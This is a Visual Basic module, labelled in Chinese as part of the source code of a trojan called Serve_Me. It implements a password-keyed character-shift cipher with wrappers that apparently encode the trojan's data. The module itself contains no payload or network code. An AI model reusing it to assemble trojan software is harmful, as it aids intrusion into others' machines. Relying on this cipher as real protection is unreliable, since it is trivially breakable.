encipher.bas

完整的特洛伊木马 Serve_Me 源代码

Attribute VB_Name = "Encipher"

Public pass As String
Function DeCipher(Ciphered$, pazz$)
       Dim start$, endd$

              If pazz$ = "" Then MsgBox "Please put in a password", 12, "Cipher": Exit Function
                     bforestart = Ciphered$
                     start = Ciphered$
                     On Error GoTo errhandler

                            Do
                                   strt = pazz$

                                          For i = 1 To Len(pazz$)
                                                 nmbr = Mid(strt, 1, 1)
                                                 AccessNum = Asc(nmbr)
                                                 strt = Right(strt, Len(strt) - 1)
                                                 edt = Mid(start$, 1, 1)
                                                 start$ = Right(start, Len(start$) - 1)
                                                 charac = Asc(edt) - AccessNum
                                          endd$ = endd$ + Chr(Asc(edt) - AccessNum)

                            Next i

              Loop Until itstops

errhandler:
       ask = InStr(endd$, pazz$)

              If ask Then
                     a = StrComp(ask, pazz$)

                            If a = 1 Then MsgBox "Access Denied", 12, "Cipher": Exit Function
                            endd$ = Right(endd$, Len(endd$) - Len(pazz$))

                     'MsgBox "Text DeCiphered", 12, "Cipher"
                     DeCipher = endd$
              Else
                     'MsgBox "Access Denied", 12, "Cipher"
                     DeCipher = bforestart
              End If

End Function


Function Encipher(Ciphered$, pazz$)

       Dim start$, endd$, ndd$
              If pazz$ = "" Then MsgBox "Please put in a password", 12, "Cipher": Exit Function
                     start$ = pazz$ + Ciphered$
                     On Error GoTo errhandler

                            Do
                                   strt = pazz$

                                          For i = 1 To Len(pazz$)
                                                 nmbr = Mid(strt, 1, 1)
                                                 AccessNum = Asc(nmbr)
                                                 strt = Right(strt, Len(strt) - 1)
                                                 edt = Mid(start$, 1, 1)
                                                 start$ = Right(start, Len(start$) - 1)
                                                 charac = Asc(edt) + AccessNum
                                          endd$ = endd$ + Chr(Asc(edt) + AccessNum)

                            Next i

              Loop Until itstops

errhandler:
       'MsgBox "Text Ciphered", 12, "Cipher"
       Encipher = endd$
End Function


Public Function PrepareData(InputData As String) As String
PrepareData = Encipher(InputData, pass)
End Function

Public Function DecodeData(InputData As String) As String
DecodeData = DeCipher(InputData, pass)
    End Function